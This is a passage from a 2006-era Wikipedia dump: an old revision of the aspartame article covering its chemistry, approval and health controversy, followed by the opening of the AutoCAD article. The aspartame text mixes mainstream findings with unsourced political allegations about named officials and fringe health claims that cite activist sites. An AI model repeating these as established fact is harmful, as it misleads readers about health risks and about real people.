| &lt;small&gt;[NH3+][C@@H](CC([O-])=O)C(N[C@@H]&lt;br&gt;(CC1=CC=CC=C1)C(OC)=O)=O&lt;/small&gt;
|-
| colspan=&quot;2&quot; align=&quot;center&quot; | [[Image:Aspartame_structure.png|Chemical structure of aspartame]]
|}
'''Aspartame''' is the name for an artificial, non-[[carbohydrate]] [[sweetener]], ''aspartyl-phenylalanine-1-methyl ester''; i.e., the methyl [[ester]] of the [[dipeptide]] of the [[amino acid]]s [[aspartic acid]] and [[phenylalanine]].  It is marketed under a number of trademark names, such as '''''[[NutraSweet]]''''', [[Equal (sweetener)|Equal]], and [[Canderel]], and is an ingredient of approximately 5,000 consumer foods and beverages sold worldwide.  It is commonly used in diet [[soft drink]]s, and is often provided as a table condiment. It is also used in some brands of chewable vitamin supplements. However, aspartame is not always suitable for baking, because it often breaks down when heated and loses much of its sweetness. In the European Union, it is also known under the [[E number]] (additive code) '''E951'''. Aspartame is also one of the sugar substitutes used by [[diabetes mellitus|diabetics]]. 

Aspartame has been the subject of a vigorous public controversy regarding its safety and the circumstances around its approval.  It is well-known that aspartame contains the naturally-occurring amino acid [[phenylalanine]], which is a health hazard to the few people born with [[phenylketonuria]], a genetic inability to process phenylalanine.  A few studies have also recommended further investigation into possible connections between aspartame and diseases such as [[brain tumor]]s, [[lesion|brain lesions]], and [[lymphoma]], but no large-scale studies have been conducted.  These possibilities, combined with notable conflicts of interest in the approval process, have engendered vocal activism regarding the legitimate risks of aspartame, as well as some less credible theories.

== Chemistry ==
Aspartame is the [[methyl]] [[ester]] of the [[dipeptide]] of the natural [[amino acid]]s L-[[aspartic acid]] and L-[[phenylalanine]]. Under strongly-[[acid]]ic or -[[Base (chemistry)|alkaline]] conditions, aspartame first generates [[methanol]] by [[hydrolysis]]. Under more severe conditions, the [[peptide bond]]s are also [[hydrolyzed]], resulting in the free amino acids.

== Properties and use ==

Aspartame's attractiveness as a sweetener comes from the fact that it is approximately 180 times sweeter than [[sugar]] in typical concentrations without the high energy value of sugar.  While aspartame, like other peptides, has a caloric value of 4 kilocalories (17 kilojoules) per gram, the quantity of aspartame needed to produce a sweet taste is so small that its caloric contribution is negligible, which makes it a popular sweetener for those trying to avoid calories from sugar.  The taste of aspartame is not identical to &lt;!--parallelism, PLEASE: we are NOT comparing the taste of aspartame to sugar, but the taste of aspartame to the TASTE of sugar--&gt;that of sugar: aspartame's sweetness has a slower onset and longer duration than sugar's, and some consumers find it unappealing.  Blends of aspartame with [[acesulfame potassium]] are purported to have a more sugar-like taste, and to be more potent than either sweetener used alone.

Like many other [[peptide]]s, aspartame may [[hydrolyze]] (break down) into its constituent amino acids under conditions of elevated temperature (in the case of aspartame, 86 °C) or high [[pH]].  This makes aspartame undesirable as a baking sweetener, and prone to degradation in high-pH products requiring a long shelf life.   Aspartame's stability under heating can be improved to some extent by encasing it in [[fat]]s or in [[maltodextrin]].  Aspartame's stability when dissolved in water depends markedly on [[pH]].  At room temperature, it is most stable at pH 4.3, where its [[half-life]] is nearly 300 days.  At pH 7, however, its half-life is only a few days.  Most soft-drinks have a pH between 3 and 5, where aspartame is reasonably stable.  In products that may require a longer shelf life, such as syrups for [[soda fountain|fountain beverages]], aspartame is sometimes blended with a more stable sweetener, such as [[saccharin]].

In products such as powdered beverages, aspartame's amino group can undergo a [[Maillard reaction]] with the [[aldehyde]] groups present in certain [[aroma compound]]s.  The ensuing loss of both flavor and sweetness can be prevented by protecting the aldehyde as an [[acetal]].

== Discovery and approval ==
Aspartame was discovered in [[1965]] by James M. Schlatter, a chemist working for [[Searle (company)|G.D. Searle &amp; Company]]. Schlatter had synthesized aspartame in the course of producing an anti-[[ulcer]] drug candidate.  He discovered its sweet taste serendipitously when he licked his finger, which had accidentally become contaminated with aspartame.

Initial safety testing suggested that aspartame might cause brain tumors in rats; as a result, the [[Food and Drug Administration|U.S. Food and Drug Administration]] (FDA) did not approve its use as a food additive in the [[United States]] for several years. In [[1980]], the FDA convened a Public Board of Inquiry (PBOI) consisting of independent advisors charged with examining the purported relationship between aspartame and [[brain cancer]]. The PBOI concluded that the risk of mental retardation and brain damage from aspartame ingestion was negligable, but it recommended against approving aspartame at that time, citing unanswered questions about possible brain cancer potential.  In [[1981]], U.S. President [[Ronald Reagan]], prompted by U.S. Vice-President [[George H. W. Bush]], released the then current FDA commissioner, Jere E. Goyan, Ph.D., and appointed [[Arthur Hull Hayes]] as FDA commissioner. Arthur Hull Hayes, at the urging of Donald Rumsfeld and George Bush, approved aspartame quickly.  Hayes approved aspartame for use in dry goods [http://www.fda.gov/bbs/topics/ANSWERS/ANS00772.html]. In [[1983]] the FDA further approved aspartame for use in carbonated beverages, and the FDA commissioner, Arthur Hull Hayes ended up leaving the FDA to work directly for Donald Rumsfed under Searle. The FDA approved aspartame for use in other beverages, baked goods, and confections in [[1993]]. In [[1996]], the FDA removed all restrictions from aspartame allowing it to be used in all foods. 

In [[1985]], G.D. Searle was purchased by [[Monsanto]].  In this acquisition, Searle's aspartame business became a separate Monsanto subsidiary, the [[NutraSweet|NutraSweet Company]].  The U.S. [[patent]] on aspartame expired in [[1992]], and the aspartame market is now hotly contested between the NutraSweet Company and other manufacturers such as [[Ajinomoto]], Merisant and the Holland Sweetener Company.

== Health risks controversy ==
While it is well-known that aspartame contains [[phenylalanine]] and is unsafe for those born with [[phenylketonuria]], some believe that aspartame can be implicated in other public health issues. Some of these contentions are backed by reputable scientific research, while others depend heavily on anecdotal evidence and layman's interpretations of chemistry.

&lt;!-- Put this section before components because it seems better to start with more
general information on potential health effects as opposed to getting right into
the potential health effects of the components --&gt;
The FDA receives more complaints related to aspartame than any other food additive. Concerns about aspartame frequently revolve around symptoms and health conditions that are allegedly caused by the sweetener. The 92 health effects reported to the FDA are:
[[abdominal pain]],
[[anxiety attack]]s,
[[arthritis]],
[[asthma]],
asthmatic reactions,
bloating/[[edema]],
blood sugar control problems ([[hypoglycemia]] or [[hyperglycemia]]),
[[brain cancer]] (Pre-approval studies in animals),
breathing difficulties,
burning eyes or throat,
burning [[urination]],
inability to think clearly,
[[chest pain]]s,
[[chronic cough]],
[[chronic fatigue]],
confusion,
death,
[[clinical depression|depression]],
[[diarrhea]],
dizziness,
excessive thirst or hunger,
fatigue,
feeling 'unreal',
flushing of face,
hair loss (baldness) or thinning of hair,
headaches/migraines,
hearing loss,
heart palpitations,
hives (Urticaria),
hypertension (high blood pressure),
impotency and sexual problems,
inability to concentrate,
infection susceptibility,
insomnia,
irritability,
itching,
joint pains,
laryngitis,
&quot;like thinking in a fog,&quot;
marked personality changes,
memory loss,
menstrual problems or changes,
muscle spasms,
nausea or vomiting,
numbness or tingling of extremities,
other allergic-like reactions,
panic attacks,
phobias,
poor memory,
rapid heartbeat,
rashes,
seizures and convulsions,
slurring of speech,
swallowing pain,
tachycardia,
tremors,
tinnitus,
vertigo,
vision loss, and
weight gain. {{ref|fda728}}

Questions have been raised about [[brain cancer]], [[lymphoma]], and [[genotoxic]] effects such as [[DNA]]-protein crosslinks, but these questions are primarily not based on reported case histories.

The sources for reported symptoms and health conditions that have raised questions include:

# Reports and analysis of case histories in scientific journals and at medical conferences
# Symptoms reported to the FDA and other governmental agencies
# Symptoms reported to non-governmental organizations, researchers, and physicians
# Reports of symptoms and health conditions in the media
# Self-reported cases on the Internet.

There is a significant debate in the scientific and medical community as to whether these symptoms are or are not caused by short-term or long-term exposure to aspartame. Some human and animal studies have found adverse effects and some have found no adverse effects.
[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=8373935&amp;query_hl=2], 
[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=9734727&amp;query_hl=30], 
[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=3277925&amp;query_hl=6], 
[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=3657889&amp;query_hl=32],
[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=11408989&amp;query_hl=13], 
[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=9230890&amp;query_hl=15]
It is not only the results of the research that have been questioned, but the design of the research that led to specific outcomes. For example, in human research of aspartame, the aspartame is usually provided in slow-dissolving capsules. But the biochemical changes from ingesting aspartame in slow-dissolving capsules are many times smaller than &lt;!--parallelism, PLEASE--&gt;those from ingesting aspartame dissolved in liquids (such as carbonated beverages).  [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=3574137&amp;query_hl=18]
Therefore, the amount of aspartame used in most human studies is equivalent to a much smaller &quot;real-world&quot; amount. Other questions that have been raised about aspartame research involve the length of the studies, the number of test subjects, conflict of interest issues, and improper testing procedures. 

Since the FDA approved aspartame for consumption in 1981, some researchers have suggested that a rise in brain tumor rates in the United States may be at least partially related to the increasing availability and consumption of aspartame.  [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=8939194&amp;dopt=Abstract]  In 2005, researchers with the (Ramazzini) Cancer Research Centre in [[Italy]] reported that aspartame &quot;causes a dose-related statistically significant increase in [[lymphoma]]s and [[leukaemia]]s in female [[rats]] at dose levels very near those to which humans can be exposed.&quot;  However, the report also found that &quot;no statistically significant increase in malignant brain tumors was observed.&quot; [http://www.ramazzini.it/fondazione/docs/AspartameGEO2005.pdf]  The study, published in the ''European Journal of Oncology'', raises concerns about the levels of aspartame exposure. [http://webcenter.health.webmd.netscape.com/content/Article/109/109244.htm?pagenumber=1]

&lt;!-- Replace NPOV discussion of only 1 component. NPOV and verifiability
text  for the 4 items below is in the discussion section. --&gt;
There are four chemical components of aspartame that scientists 
and physicians have debated as to whether they are causing
or can cause adverse health effects:

=== Methanol ===
Scientists agree that approximately 10% of aspartame (by weight) is broken down into [[methanol]] in the small intestine. Most of the methanol is absorbed and quickly converted  into [[formaldehyde]]. Some scientists believe that the methanol cannot be a problem because: a) there is not enough methanol absorbed to cause toxicity, b) methanol and formaldehyde are already a by-product of human metabolism, and c) there is more methanol in some alcoholic beverages and fruit juices than is derived from aspartame ingestion.
[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=12180494&amp;query_hl=2]
[http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6T8P-47PNYWC-85&amp;_user=10&amp;_handle=V-WA-A-W-D-MsSAYVW-UUA-U-AABUAWEZDB-AAWDDAUVDB-BZUWEDBWC-D-U&amp;_fmt=summary&amp;_coverDate=06%2F30%2F1994&amp;_rdoc=1&amp;_orig=browse&amp;_srch=%23toc%235092%231994%23999949993%23379195!&amp;_cdi=5092&amp;view=c&amp;_acct=C000050221&amp;_version=1&amp;_urlVersion=0&amp;_userid=10&amp;md5=f9e7576a5adb6c95153f396596cc0cff]

Other scientists believe a) fruit juices and alcoholic beverages always
contain protective chemicals such as [[ethanol]] that block conversion of methanol 
into formaldehyde, but aspartame contains no protective factors, b) the levels of methanol and particularly formaldehyde have been proven to cause chronic toxicity in humans, and c) the low levels of methanol and formaldehyde in human metabolism are 
tightly-controlled such that significant increases from aspartame ingestion are not safe.
[http://www.dorway.com/monte84.html], [http://www.holisticmed.com/aspartame/abuse/methanol.html]

In 1998, a team of scientists in Spain conducted an experiment
on rodents to indirectly measure the levels of formaldehyde
adducts in the organs after ingestion of
aspartame. They did this by [[radiolabeling]] the methanol portion
of aspartame. The scientists concluded that formaldehyde 
bound to [[protein]] and [[DNA]] accumulated in the brain, liver, kidneys and other tissues
after ingestion of either 20 mg/kg or 200 mg/kg of aspartame. [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=9714421&amp;query_hl=7] 
However, it has been argued by Tephly that these scientists 
were not directly measuring formaldehyde, but simply 
measuring levels of some by-product of the methanol from 
aspartame.[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=12180494&amp;query_hl=15]
Tephly believes that the by-product was not 
formaldehyde. The researchers have stated that the 
data in the experiment has proven it was formaldehyde. [http://health.groups.yahoo.com/group/aspartameNM/message/864]

=== Phenylalanine ===
[[Phenylalanine]] is an amino acid commonly found in foods. Approximately 50% of 
aspartame (by weight) is broken down into phenylalanine. Because aspartame is metabolized and absorbed very quickly (unlike phenylalanine-containing proteins in foods), it is known that aspartame could spike [[blood plasma]] levels of phenylalanine. [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=3574137&amp;query_hl=11],  [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=1946186&amp;query_hl=12] 
The debate centers on whether a significant
spike in blood plasma phenylalanine occurs at typical aspartame
ingestion levels, whether a sudden influx of phenylalanine
into the bloodstream adversely affects uptake of other amino acids
into the brain and the production of [[neurotransmitter]]s
(since phenylalanine competes with other Large Neutral Amino
Acids (LNAAs) for entry into the brain at the [[blood brain barrier]]), 
and whether a significant rise in phenylalanine levels would be concentrated
in the brain of fetuses and be potentially [[neurotoxic]].

Based on case histories from aspartame users, measuring levels of neurotransmitters in the brains of animals and measuring the potential of aspartame to cause seizures in animals, some scientists believe that aspartame may affect neurotransmitter production. [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=3319565&amp;query_hl=18], [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=3352866&amp;query_hl=21], [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=2442082&amp;query_hl=24]
They believe that even a moderate spike in blood plasma phenylalanine
levels from typical ingestion may have adverse consequences in long-term
use. They are especially concerned that the phenylalanine can be concentrated
in fetal brains to a potentially neurotoxic level. [http://www.dorway.com/elsas.txt], [http://www.trustedhands.com/content/aspartamepregnancy.html] Other scientists
believe that rise in blood plasma phenylalanine is negligible in typical
use of aspartame [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=2215254&amp;query_hl=28]
and their studies show no significant
effects on neurotransmitter levels in the brain or changes in seizure
thresholds. [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=2013754&amp;query_hl=16], [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=2379890&amp;query_hl=28], [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=2470165&amp;query_hl=28]
In addition, they say that proven adverse effects of 
phenylalanine on fetuses has only been seen when blood phenylalanine 
levels stay at high levels as opposed to occasionally being spiked to 
high levels. [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=3351801&amp;query_hl=40]

=== Aspartic acid ===
[[Aspartic acid]] is an amino acid commonly found in foods.  Approximately 40% of aspartame (by mass) is broken down into aspartic acid. Because aspartame is 
metabolized and absorbed very quickly (unlike aspartic acid-containing proteins in foods), it is known that aspartame could spike blood plasma levels of aspartate. [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=3574137&amp;query_hl=11], [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=3670074&amp;query_hl=2] 
Aspartic acid is in a class of chemicals known as [[excitotoxin]]s. Abnormally high levels of excitotoxins
have been shown in hundreds of animals studies to cause damage to areas of the brain unprotected by the 
blood-brain barrier and a variety of chronic diseases arising out of this neurotoxicity. [http://www.amazon.com/exec/obidos/tg/detail/-/0898597358],  [http://www.holisticmed.com/msg/msg-review.txt]
The debate amongst scientists has
been raging since the early 1970's, when Dr. John Olney found that high levels of aspartic acid
caused damage to the brains of infant mice [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=5464249&amp;query_hl=11]. 
Dr. Olney and consumer attorney, James Turner filed
a protest with the FDA to block the approval of aspartame. The debate is complex and has focused
on several areas: a) whether the increase in plasma aspartate levels from typical ingestion levels of aspartame is enough to cause neurotoxicity in one dose or over time b) whether humans are susceptible to the neurotoxicity from aspartic acid seen in some animal experiments, c) whether
aspartic acid increases the toxicity of formaldehyde, d) whether neurotoxicity from excitotoxins
should consider the combined effect of aspartic acid and other excitotoxins such as 
[[glutamic acid]] from [[monosodium glutamate]]. The Neuroscientists at a meeting of the Society for Neuroscience had a split of opinion on the issues related to neurotoxic effects from excitotoxic amino acids found in some additives such as aspartame. [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=2294587&amp;query_hl=8]

Some scientists believe that humans and other primates are not as susceptible to excitotoxins as 
rodents and therefore there is little concern with aspartic acid from aspartame. [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=810365&amp;query_hl=16], 
[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=827619&amp;query_hl=22] 
While they agree that the combined
effects of all food-based excitotoxins should be considered [http://gateway.nlm.nih.gov/gw/Cmd?linkVars=SessionID%3D05092315500130003261%26BROWSER_STATE%3DGMResults%26ORBagentPort%3D14610%26GM2K_FORM%3DGMResults%26LAST_HIDDEN_TIMESTAMP%3D1127534667706%26UserSearchText%3Dstegink%2Bfiler%26sb_action%3DExpand%2BItem%2B%253A%2B1%26HIDDEN_TIMESTAMP%3D1127534686370],
their measurements of the blood
plasma levels of aspartic acid after ingestion of aspartame and monosodium glutamate 
demonstrate that there is not a cause for concern. [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=903828&amp;query_hl=45], 
[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=2909831&amp;query_hl=48]
Other scientists feel that primates are susceptible to excitotoxic damage [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=4626680&amp;query_hl=18]
and that humans concentrate excitotoxins in the blood more than other animals. [http://www.holisticmed.com/aspartame/abuse/stegink.jpg] 
Based on these findings, they feel that humans are approximately 5-6 times more susceptible to the effects of excitotoxins than are rodents. [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=6152304&amp;query_hl=53] While they agree that typical use of aspartame does not spike
aspartic acid to extremely high levels in adults, they are particularly concerned with potential
effects in infants and young children [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=1982368&amp;query_hl=41], 
the potential long-term neurodegenerative effects of 
small-to-moderate spikes on plasma excitotoxin levels [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=7854587&amp;query_hl=41], 
and the potential dangers of combining formaldehyde
exposure from aspartame with excitotoxins given that chronic methanol exposure increases excitoxin levels in susceptible
areas of the brain
[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=12490131&amp;query_hl=37],
[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=12112376&amp;query_hl=46]
and that excitotoxins may potentiate formaldehyde damage.  [http://health.groups.yahoo.com/group/aspartameNM/message/1173]

=== Aspartylphenylalanine diketopiperazine ===
This type of [[diketopiperazine]] (DKP) is created in 
products as aspartame breaks down over time. For example, researchers found that&lt;!--dependent clause: comma needed--&gt;, 6 months after
aspartame was put into carbonated beverages, 25% of the aspartame had been converted to DKP.
[http://pubs3.acs.org/acs/journals/archive_lookup?in_manuscript_number=jf00064a043]
Concern amongst some scientists has been expressed that this form of DKP would undergo a
[[nitrosation]] process in the stomach producing a type of chemical that could cause brain tumors.
[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=8939194&amp;query_hl=2], 
[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=8505016&amp;query_hl=5]
Other scientists feel that the nitrosation of aspartame or the DKP in the stomach would not
produce a chemical that would cause brain tumors. In addition, only a minuscule amount of the
nitrosated chemical would be produced. 
[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=8990134&amp;query_hl=7]
There are very few human studies on the effects
of this form of DKP. However, a (one-day) exposure study showed that the DKP was tolerated without
adverse effects. [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=8409113&amp;query_hl=12]

=== Responses ===
The [[American Cancer Society]] argues that ''since aspartame is broken down into these components before it is absorbed into the blood stream, aspartame in its initial form does not have the opportunity to travel to target organs, including the brain, to cause cancer.'' [http://www.cancer.org/docroot/ped/content/ped_1_3x_aspartame.asp] The 
[http://www.feingold.org/ Feingold Association] has stated that aspartame ''is reported to cause a variety of neurological effects from headache to seizures and brain tumors.'' 
[http://www.feingold.org/06-2003.html#are] The [[American Heart Association]] concludes 
that ''extensive investigation so far hasn't shown any serious side effects from aspartame.'' [http://www.americanheart.org/presenter.jhtml?identifier=4447] A consumer alert issued by the [http://www.acash.org/ Association for Consumers Action on Safety and Health] was published related to the dangers of ingesting aspartame. [http://en.wikipedia.org/wiki/Image:Aspartame-acash1.jpg] The [[National Cancer Institute]] argues ''there is no evidence that the regulated artificial sweeteners on the market in the United States are related to cancer risk in humans.'' [http://cis.nci.nih.gov/fact/3_19.htm] The [http://www.thenhf.com National Health Federation] calls aspartame a ''neurotoxic artificial sweetener.'' [http://www.thenhf.com/articles_46.htm] The [[FDA]] says the more than ''100 toxicological and clinical studies it has reviewed confirm that aspartame is safe for the general population.'' [http://www.fda.gov/fdac/features/1999/699_sugar.html]  The consumer organization [http://campaignfortruth.com/Eclub/230605/ UK Campaign for Truth in Medicine] says that ''Aspartame is, by far, the most dangerous substance on the market that is added to foods.'' [http://www.campaignfortruth.com/sugarbody.htm] There have been more than 600 studies on aspartame and thousands of studies on aspartame breakdown products and metabolites. It is not known whether persons writing the opinion for the above-mentioned organizations have read the bulk of the published research on aspartame or whether they are relying on summaries provided to them.

=== Recently-published research===

A large three-year study into the long-term effects of eating aspartame in rats by the European Ramazzini Foundation for cancer research in Bologna, Italy was published in September 2005. It found evidence that aspartame caused cancer of the kidney, and of the peripheral nerves, mainly in the head. It also reported an increased risk of leukaemias and lymphomas in female rats. Manufacturers of aspartame have challenged the validity of the study. 
[http://www.guardian.co.uk/food/Story/0,2763,1581639,00.html?gusrc=rss]

== Products with Aspartame ==

These products may contain '''aspartame''', but may also be available in [[sugar|sugared]] form, or with neither [[sugar]] nor [[artificial sweetener|artificial sweeteners]], that is, [[natural]].  This list can be summarized as ''if it tastes too sweet to be true, it probably is.''  In their artificially-sweetened form, all of these products have a ''[[sweet]]'' taste, but no [[calories]] from [[sugar]].

*Breath Mints 
*Carbonated Soft Drinks 
*Cereals 
*Chewing Gum 
*Flavored Syrups for Coffee 
*Flavored Water Products 
*Frozen Ice 
*Frozen Ice Cream Novelties 
*Fruit Spreads 
*Gelatin, &lt;!--&quot;free&quot; is a suffix meaning without, as &quot;less&quot; is in boneless&quot;; NONSENSICAL as a separate word--&gt;Sugar-free 
*Hard Candies 
*Ice Cream Toppings 
*Ice Creams, No-Sugar-Added or Sugar-free 
*Iced Tea, Powder 
*Iced Tea, Ready-to-Drink 
*Instant Cocoa Mix 
*Jams &amp; Jellies 
*Juice Blends 
*Juice Drinks 
*Maple Syrups 
*Meal Replacements 
*Mousse 
*No-Sugar-Added Pies 
*Non-Carbonated Diet Soft Drinks 
*Nutritional Bars 
*Powdered Soft Drinks 
*Protein Nutritional Drinks 
*Pudding 
*Soft Candy Chews 
*Sugar-free Chocolate Syrup 
*Sugar-free Cookies 
*Sugar-free Ketchup 
*Table-Top Sweeteners
*Toothpaste
*Vegetable Drinks 
*Vitamins
*Yogurt, Drinkable 
*Yogurt, Fat-free 
*Yogurt, Sugar-free 

[http://www.aspartame.org/aspartame_products.html]

== See also ==

* [[Sugar substitute]]


== References ==

*{{note|fda728}}Department of Health &amp; Human Services (DHHS). (1993, April 1) ''Adverse Reactions Associated with Aspartame Consumption'' (HFS-728). Chief, Epidemiology Branch. Retrieved Oct 24, 2005 from http://www.presidiotex.com/aspartame/Facts/92_Symptoms/92_symptoms.gif (This is an image of part of the document)

== External links ==

=== Pro-aspartame ===
* [http://www.aspartame.org/ Aspartame Information Center]
* [http://www.aspartame.net/ Aspartame Information Service]
* [http://www.aspartamearchives.org/ Aspartame Archives]
* [http://www.acsh.org/healthissues/newsID.265/healthissue_detail.asp Aspartame -- American Council on Science and Health]
* [http://www.fda.gov/fdac/features/1999/699_sugar.html Sugar Substitutes (U.S. FDA web page)]
* [http://europa.eu.int/comm/food/fs/sc/scf/out155_en.pdf Update on Aspartame Safety; EC Scientific Committee on Food] (263 KB [[PDF]])
* [http://www.hc-sc.gc.ca/fn-an/securit/facts-faits/aspartame/aspartame01_e.html Health Canada]
* [http://www.greenfacts.org/aspartame/index.htm GreenFacts.org: Review of the EC Scientific Committee's 2002 Update]

=== Anti-aspartame ===
* [http://health.groups.yahoo.com/group/Aspartame_Support Aspartame Support Group]
* [http://www.holisticmed.com/aspartame/ Aspartame Toxicity Information Center]
* [http://www.dorway.com/ Aspartame -- Dorway to Discovery]
* [http://www.wnho.net/aspartamenews.htm Aspartame -- Mission Possible News/Articles]
* [http://www.aspartamesafety.com/ Aspartame Consumer Safety Network]
* [http://www.wnho.net/aspartameletter.htm Aspartame -- Former U.S. FDA Investigator]
* [http://www.sweetpoison.com/ Sweet Poison]
* [http://www.holisticmed.com/aspartame/scf2002.html Update on Aspartame Safety; Response to EC Scientific Committee on Food]
* [http://bmj.bmjjournals.com/cgi/eletters/329/7469/755#76712 Responses to Aspartame and Its Effects on Health]
* [http://eagle.westnet.gr/~aesclep/npoi1.htm Nutrapoison, Part One] by Alex Constantine
* [http://www.dldewey.com/aspar.htm Aspartame - Sweetness or Death?] by Syndicated Columnist, David Lawrence Dewey

=== News &amp; General Articles ===
* [http://politics.guardian.co.uk/homeaffairs/story/0,11026,1667772,00.html Safety of Artificial Sweetener Called Into Question by MP, The Guardian, UK, December 15, 2005]
* [http://www.straightdope.com/classics/a961129.html The Straight Dope on aspartame]
* [http://www.nytimes.com/2006/02/12/business/yourmoney/12sweet.html?ex=1297400400&amp;en=f5f573adcc335534&amp;ei=5089&amp;partner=rssyahoo&amp;emc=rss The Lowdown on Sweet? - article in New York Times]
*[http://www.nytimes.com/2006/02/21/opinion/21tues4.html The Safety of Aspartame, The New York Times, USA, February 21, 2006]

[[Category:Carboxylate esters]]
[[Category:Sweeteners]]

[[be:????????]]
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[[tr:Aspartam]]</text>
    </revision>
  </page>
  <page>
    <title>AutoCAD</title>
    <id>2753</id>
    <revision>
      <id>41632928</id>
      <timestamp>2006-02-28T17:46:24Z</timestamp>
      <contributor>
        <ip>66.124.172.129</ip>
      </contributor>
      <comment>/* Description */</comment>
      <text xml:space="preserve">[[Image:AutoCAD 2006 drawing.png|thumb|275px|AutoCAD 2006 drawing.]]
'''AutoCAD''' is a suite of popular [[computer-aided design|CAD]] [[computer software|software]] products for 2- and 3-[[dimension]]al design and drafting, developed and sold by [[Autodesk]].  The AutoCAD family of products, taken as a whole, are the most widely used CAD software in the world.

==Description==
Initially a general-purpose 2D drafting program, AutoCAD has evolved into a family of products which provide a [[platform (computing)|platform]] for 2D and 3D CAD.  Today, it is used by [[Civil Engineering|civil engineers]], [[Land_development|land developers]], [[architects]], [[Mechanical engineering|mechanical engineers]], [[Interior Design|interior designers]] and other design professionals.

Modern AutoCAD includes a full set of basic solid modelling and 3D tools, but lacks the advanced capabilities of [[solid modelling]] applications.  AutoCAD can co-exist with such products as a 2D drafting tool.

Like other CAD programs, AutoCAD is fundamentally a [[vector graphics]] drawing program.  It uses primitive entities -- such as lines, polylines, circles, arcs, and text -- as the foundation for more complex objects.
